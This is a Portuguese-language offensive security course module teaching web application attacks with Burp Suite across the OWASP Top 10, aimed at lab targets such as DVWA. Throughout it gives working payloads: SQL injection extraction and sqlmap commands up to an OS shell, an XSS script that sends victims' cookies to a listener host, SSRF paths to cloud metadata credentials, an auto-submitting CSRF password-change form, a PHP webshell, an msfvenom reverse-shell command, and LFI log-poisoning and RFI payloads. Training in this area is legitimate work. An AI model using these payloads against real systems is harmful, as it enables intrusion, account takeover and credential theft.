MÓDULO 8 — Hacking Web (OWASP Top 10) & Burp Suite Completo: Do Recon ao RCE
Team Hacking78
Especialistas em Red Teaming
Resumo Executivo (TL;DR)
Domine a auditoria e o ataque a aplicações web com o OWASP Top 10 e o Burp Suite. Aprenda a interceptar tráfego HTTP, operar Repeater/Intruder/Decoder e explorar SQL Injection (manual e sqlmap), XSS (Reflected/Stored/DOM), SSRF, CSRF, File Upload para RCE, LFI/RFI com wrappers e IDOR/Auth Bypass no DVWA.

Aplicações web representam a maior e mais dinâmica superfície de ataque corporativa. Neste módulo prático, estruturamos nosso roteiro ofensivo a partir do OWASP Top 10 utilizando o Burp Suite como nossa plataforma central de interceptação, análise e manipulação de requisições HTTP — partindo da inspeção de tráfego bruto até a exploração de falhas críticas como SQL Injection, XSS, SSRF, File Upload malicioso para RCE, LFI/RFI, IDOR e Bypass de Autenticação.
8.1 A Arquitetura do Ataque Web e o Arsenal do Auditor
Toda a interação web se baseia no protocolo HTTP/HTTPS cliente-servidor. Ao posicionar um proxy interceptador no meio do caminho, você ganha visibilidade e controle total sobre cada cabeçalho, cookie, parâmetro e corpo de requisição antes que ele alcance o backend:
Navegador (Firefox) ──> [ Burp Suite Proxy (127.0.0.1:8080) ] ──> Servidor Alvo Web
▲ │
└─────────── Edição / Fuzzing ──────┘Ferramentas Essenciais do Web Pentester
- Burp Suite: Proxy HTTP/HTTPS, repetição manual, automação de fuzzing e análise estrutural.
- SQLMap: Automação avançada para detecção e extração de dados via SQL Injection.
- WPScan: Scanner de vulnerabilidades especializado em ecossistemas WordPress.
- Gobuster / Feroxbuster: Fuzzing em alta velocidade de arquivos, diretórios e rotas de API.
- cURL / HTTPie: Execução de requisições cirúrgicas via terminal e automação de PoCs.
- Laboratórios Recomendados: DVWA (Damn Vulnerable Web App), OWASP Mutillidae II e os laboratórios gratuitos da PortSwigger Web Security Academy.
8.2 Burp Suite do Zero: Da Instalação ao Domínio dos Módulos
8.2.1 Edições e Interface
- Burp Suite Community Edition: Versão gratuita padrão que inclui Proxy, Repeater, Decoder, Comparer e Sequencer (ideal para o aprendizado prático deste módulo).
- Burp Suite Professional: Edição corporativa com Web Vulnerability Scanner automatizado, Intruder com alta taxa de requisições por segundo e acesso total à BApp Store.
8.2.2 Configuração do Proxy em 5 Passos
1. Listener Local: Verifique em Proxy → Proxy Settings se o listener está ativo em 127.0.0.1:8080.
2. Proxy no Navegador: No Firefox de teste, configure as preferências de rede para Proxy Manual HTTP: 127.0.0.1 porta 8080.
3. Instalação da Autoridade Certificadora (CA): Com o proxy ativo, acesse http://burp no navegador, clique em "CA Certificate" e importe o arquivo cacert.der no Firefox marcando "Confiar nesta CA para identificar sites da Web".
4. Validação: Navegue em um site HTTP/HTTPS de laboratório e confirme se o tráfego é registrado no Burp.
5. Isolamento: Utilize o Burp exclusivamente em um navegador dedicado de testes, jamais em seu navegador de uso pessoal.8.2.3 As Abas Principais do Burp Suite
- Proxy / Intercept: Intercepta requisições em trânsito permitindo alterar parâmetros, cabeçalhos ou cookies antes de enviá-los ao servidor.
- HTTP History: Histórico cronológico e ordenável de todas as requisições e respostas que trafegaram pelo proxy.
- Repeater (`Ctrl+R`): Ambiente de reenvio manual onde você edita payloads e inspeciona a resposta imediatamente.
- Intruder (`Ctrl+I`): Motor de ataques automatizados e testes de força bruta baseados em marcação de posições com marcadores
§. - Decoder: Utilitário para codificação e decodificação rápida em Base64, URL Encoding, Hexadecimal, HTML Entities e hashes.
- Comparer (`Ctrl+B`): Comparador visual lado a lado de respostas HTTP por palavras ou bytes.
- Target / Site Map: Mapa em árvore hierárquica de toda a estrutura de diretórios e endpoints descoberta na navegação.
8.2.4 Operação no Intruder (Posições e Tipos de Ataque)
- Sniper: Testa uma lista de payloads em uma única posição marcada por vez (ideal para XSS, SQLi em campo único).
- Battering Ram: Insere o mesmo payload simultaneamente em todas as posições marcadas.
- Pitchfork: Utiliza listas de payloads paralelas para posições distintas (ex: lista de usuários na posição 1 e lista de senhas na posição 2, testadas par a par).
- Cluster Bomb: Testa todas as combinações cruzadas possíveis entre múltiplas listas (essencial para brute force completo de login).8.3 O Guia OWASP Top 10 Aplicado ao Red Teaming
O OWASP Top 10 padroniza as dez classes mais críticas de riscos de segurança em aplicações web:
- A01: Broken Access Control (Controle de Acesso Quebrado): IDOR, falhas de autorização horizontal/vertical e bypass de diretórios restritos.
- A02: Cryptographic Failures (Falhas Criptográficas): Transmissão em texto claro e uso de algoritmos legados.
- A03: Injection (Injeções): SQL Injection, NoSQL Injection, OS Command Injection e XSS.
- A04: Insecure Design (Design Inseguro): Falhas inerentes à arquitetura e lógica de negócios da aplicação.
- A05: Security Misconfiguration (Má Configuração de Segurança): Permissões padrão, métodos HTTP inseguros e cabeçalhos de segurança ausentes.
- A06: Vulnerable and Outdated Components: Plugins, bibliotecas e frameworks com CVEs públicas.
- A07: Identification and Authentication Failures: Falhas de brute force, fixação de sessão e senhas previsíveis.
- A08: Software and Data Integrity Failures: Desserialização insegura e validação imprópria de arquivos enviados.
- A09: Security Logging and Monitoring Failures: Ausência de trilhas de auditoria e telemetria para detecção de anomalias.
- A10: Server-Side Request Forgery (SSRF): Forjamento de requisições disparadas pelo próprio servidor contra recursos internos ou metadados de nuvem.
---
8.4 SQL Injection (A03) — Da Identificação Manual à Automação com SQLMap
Ocorre quando dados fornecidos pelo usuário são concatenados diretamente em consultas dinâmicas sem parametrização ou sanitização adequada.
-- Exemplo de backend vulnerável:
SELECT * FROM users WHERE username = '$_POST[user]' AND password = '$_POST[pass]';
-- Payload injetado no campo user: ' OR '1'='1
-- Consulta interpretada pelo banco:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...';Detecção Manual via Burp Repeater
1. Disparo de Caractere de Quebra: Envie 1' ou 1" — observe se ocorre erro de sintaxe SQL (ex: "You have an error in your SQL syntax").
2. Validação Booleana:
- Envie: 1' AND '1'='1 (A página deve responder com o conteúdo normal).
- Envie: 1' AND '1'='2 (A página deve ocultar os dados ou responder com conteúdo diferente).
3. Teste Time-Based (Cego por Tempo):
- MySQL: 1' AND (SELECT SLEEP(5))-- -
- Se a resposta demorar 5 segundos para retornar, a vulnerabilidade está confirmada.Extração Estruturada via UNION-Based SQLi
-- 1. Descobrir a quantidade de colunas retornadas pela query original:
1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- - -- Se a coluna 3 falhar, sabemos que a query possui 2 colunas.
-- 2. Identificar quais colunas refletem dados na tela:
1' UNION SELECT null, null-- -
1' UNION SELECT 'col1', 'col2'-- -
-- 3. Extrair metadados e versões do SGBD:
1' UNION SELECT version(), user()-- -
1' UNION SELECT database(), schema()-- -
-- 4. Extrair tabelas e colunas através do Information Schema (MySQL):
1' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema=database()-- -
1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users'-- -
-- 5. Extrair credenciais e hashes:
1' UNION SELECT user, password FROM users-- -Automação Profissional com SQLMap
# Varredura autenticada com cookie de sessão:
sqlmap -u "http://192.168.56.10/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" --batch --level=2 --risk=2
# Enumerar bancos de dados, tabelas e extrair registros:
sqlmap -u "..." --cookie="..." --dbs
sqlmap -u "..." --cookie="..." -D dvwa --tables
sqlmap -u "..." --cookie="..." -D dvwa -T users --columns
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump
# Obter shell iterativo no servidor (quando privilégios de escrita existirem):
sqlmap -u "..." --cookie="..." --os-shell---
8.5 Cross-Site Scripting (XSS) (A03)
O XSS ocorre quando a aplicação renderiza dados fornecidos pelo usuário no navegador da vítima sem codificação contextual (HTML encoding).
Categorias de XSS
- Reflected XSS (Refletido): O payload é enviado na requisição (ex: parâmetro de busca) e refletido imediatamente na resposta. Exige que a vítima clique em um link manipulado.
- Stored XSS (Armazenado / Persistente): O payload é gravado permanentemente no banco de dados (ex: comentários, fórum, perfil). Todo usuário que visualizar a página será infectado automaticamente.
- DOM-Based XSS: A falha reside inteiramente no JavaScript do lado do cliente ao manipular o DOM (ex:
document.locationinserido emelement.innerHTML).
<!-- Payloads clássicos e bypasses -->
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(document.domain)>
<a href="javascript:alert(1)">Clique Aqui</a>PoC Real de Roubo de Sessão (Account Takeover)
<!-- Payload injetado na aplicação vulnerável -->
<script>
fetch('http://192.168.56.101:8080/log?cookie=' + encodeURIComponent(document.cookie));
</script># No Kali: Listener recebendo os cookies das vítimas conectadas
nc -lvnp 8080---
8.6 Server-Side Request Forgery (SSRF) (A10)
O SSRF induz o servidor backend a originar requisições HTTP para destinos arbitrários definidos pelo atacante.
Funcionalidades Suspeitas: Importadores de URLs, geradores de miniaturas/PDFs, webhooks e validadores de links.# Vetores de exploração de SSRF:
http://127.0.0.1:80/admin/ → Acesso a painéis administrativos locais
http://192.168.56.10/ → Varredura de ativos na rede interna restrita
file:///etc/passwd → Leitura direta de arquivos locais do servidor
http://169.254.169.254/latest/meta-data/ → Extração de credenciais de IAM e instâncias AWS Cloud
http://metadata.google.internal/computeMetadata/v1/ → Metadados no Google Cloud Platform (GCP)---
8.7 Cross-Site Request Forgery (CSRF) (A01/A05)
O CSRF força o navegador de uma vítima autenticada a submeter requisições não autorizadas contra a aplicação vulnerável sem o seu conhecimento.
<!-- Exemplo de formulário de ataque hospedado pelo atacante -->
<html>
<body>
<h1>Parabéns! Você ganhou um prêmio.</h1>
<form id="csrfForm" action="http://alvo.local/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="HackedPassword78!" />
<input type="hidden" name="password_conf" value="HackedPassword78!" />
<input type="hidden" name="Change" value="Change" />
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>Teste de Validação no Burp Inspecione se o formulário utiliza tokens anti-CSRF aleatórios e imprevisíveis vinculados à sessão do usuário. No Repeater, remova o token ou envie um token de outra sessão para verificar se o backend valida a integridade do pedido.
---
8.8 File Upload Inseguro — O Caminho Direto para RCE (A08)
Ocorre quando o servidor aceita o envio de arquivos sem validar rigorosamente sua extensão, tipo MIME ou conteúdo real, permitindo o upload e execução de um webshell.
<!-- Webshell PHP mínimo -->
<?php system($_GET['cmd']); ?>Técnicas de Bypass de Validação de Upload
1. Variação de Extensões: .php5, .phtml, .pht, .phar, .inc, .php.jpg, .php%00.jpg
2. Manipulação de Cabeçalho MIME no Burp: Alterar 'Content-Type: application/x-php' para 'Content-Type: image/jpeg'.
3. Injeção de Magic Bytes (Assinatura de Arquivo): Inserir 'GIF89a' na primeira linha do webshell para contornar verificações de assinatura de imagem.# Geração de Webshell Meterpreter via MSFVenom:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw -o webshell.php
# Execução e teste de comandos após upload:
curl "http://192.168.56.10/dvwa/hackable/uploads/webshell.php?cmd=id"---
8.9 LFI e RFI (Local / Remote File Inclusion) (A03)
Ocorre quando a aplicação utiliza parâmetros fornecidos pelo usuário para incluir dinamicamente arquivos no fluxo de execução do interpretador PHP/backend.
// Código PHP vulnerável:
include($_GET['page']);Local File Inclusion (LFI) e PHP Wrappers
# Path Traversal clássico:
?page=../../../../../../etc/passwd
?page=../../../../../../etc/hosts
# PHP Filter Wrapper (Extração de código-fonte em Base64):
?page=php://filter/convert.base64-encode/resource=index.php
# Log Poisoning para RCE:
1. Injetar código PHP no cabeçalho User-Agent de uma requisição qualquer:
User-Agent: <?php system($_GET['c']); ?>
2. Incluir o arquivo de log do Apache via LFI:
?page=../../../../var/log/apache2/access.log&c=idRemote File Inclusion (RFI)
?page=http://192.168.56.101:8080/shell.txt
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id---
8.10 Broken Access Control & IDOR (A01)
IDOR (Insecure Direct Object Reference) Ocorre quando a aplicação utiliza identificadores diretos fornecidos pelo usuário para acessar recursos do banco sem verificar se o solicitante possui autorização de acesso àquele objeto.
Requisição Legítima: GET /api/documents?doc_id=1050
Ataque via Burp Intruder: Fuzzing sequencial de 1000 a 2000 no parâmetro doc_id para extrair documentos de terceiros.Técnicas de Bypass de Autenticação e 403 Forbidden
# Variações de Path Traversal e Normalização de URL contra regras 403:
/admin
/admin/
/Admin
/%2e/admin
/./admin
//admin
/admin%20
/admin%00
/admin..;/
# Cabeçalhos HTTP de Spoofing de IP Interno:
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1---
8.11 Metodologia de Fuzzing com Burp Intruder e WPScan
# Auditoria automatizada em ambientes WordPress:
wpscan --url http://192.168.56.10/wordpress/ --enumerate u,vp,vt --api-token SEU_TOKEN_WPVULNDB
# Extração de usuários via API REST nativa do WordPress:
curl -s http://192.168.56.10/wp-json/wp/v2/users | jq '.[].slug'---
8.12 Roteiro Metodológico do Web Penetration Testing
1. Definição de Escopo & Regras de Engajamento (RoE)
2. Reconhecimento Passivo e Ativo (WhatWeb, Gobuster, Robots.txt, Sitemap)
3. Mapeamento Estrutural no Burp Suite (Site Map e HTTP History com fluxo completo do usuário)
4. Análise de Autenticação, Sessões e Controle de Acesso (IDOR, Tampering de Parâmetros, CSRF)
5. Testes Cirúrgicos de Injeção de Input (SQLi via Repeater, XSS em múltiplos contextos)
6. Auditoria de Uploads e Inclusão de Arquivos (Bypass de extensões, LFI/RFI, Log Poisoning)
7. Validação Manual e Consolidação de PoCs (Eliminação de falsos positivos com cURL/Burp)
8. Elaboração do Relatório Executivo e Técnico com CVSS e Mitigações Claras8.13 Checklist de Conclusão do Módulo 8
- [x] Configurei o Burp Suite com certificado CA e integrei ao navegador de testes.
- [x] Sei operar os módulos Proxy, HTTP History, Repeater, Intruder, Decoder e Comparer.
- [x] Compreendo as dez categorias do OWASP Top 10 e seus impactos de negócio.
- [x] Executo testes manuais de SQL Injection (Union, Error, Time-Based) e automatizo com SQLMap.
- [x] Identifico e exploro falhas de XSS (Reflected, Stored, DOM) para roubo de sessão.
- [x] Sei testar e demonstrar o impacto de falhas de SSRF e CSRF.
- [x] Domino técnicas de bypass em upload de arquivos para conquista de RCE.
- [x] Exploro falhas de LFI e RFI utilizando wrappers do PHP e log poisoning.
- [x] Realizo testes de IDOR, Client-Side Tampering e bypass de restrições 403.
- [x] Realizo auditorias em instalações WordPress utilizando WPScan.
- [x] Estruturo relatórios técnicos com evidências reproduzíveis e mitigações detalhadas.
Perguntas Frequentes (FAQ)
Qual é a diferença de uso entre o Burp Repeater e o Burp Intruder?
O Burp Repeater é utilizado para testes manuais e refinamento de payloads individuais, permitindo enviar requisições repetidas e inspecionar a resposta em tempo real. Já o Burp Intruder é uma ferramenta de automação e fuzzing que permite marcar posições específicas na requisição e disparar centenas ou milhares de payloads a partir de listas pré-configuradas (como brute force de senhas, enumeração de diretórios e teste em massa de IDs para IDOR).
Por que a sanitização apenas no lado do cliente (JavaScript) é ineficaz contra ataques web?
Toda validação realizada no navegador do usuário pode ser facilmente contornada utilizando ferramentas de proxy como o Burp Suite. O atacante intercepta a requisição após a validação do JavaScript e altera os valores antes que cheguem ao servidor. Por essa razão, a validação de formato, tipos de dados e permissões deve ser sempre implementada e garantida no backend.
Qual é o risco crítico de uma vulnerabilidade de SSRF em infraestruturas de Cloud (AWS/GCP/Azure)?
Em ambientes de nuvem, instâncias virtuais (como EC2 na AWS) podem consultar endpoints de metadados locais (ex: http://169.254.169.254/latest/meta-data/). Um atacante que explora SSRF pode induzir o servidor a consultar esse endereço restrito e extrair credenciais temporárias de segurança (IAM Roles), conquistando acesso administrativo a toda a conta de nuvem da empresa.
Como os PHP Filters (php://filter) auxiliam na exploração de falhas de LFI?
Quando um arquivo PHP é incluído diretamente via LFI, o servidor normalmente o executa e exibe apenas o resultado processado. Utilizando o wrapper 'php://filter/convert.base64-encode/resource=arquivo.php', o interpretador codifica o código-fonte em Base64 antes da execução, permitindo que o auditor baixe e leia o código PHP original (incluindo credenciais de banco e lógica de autenticação).
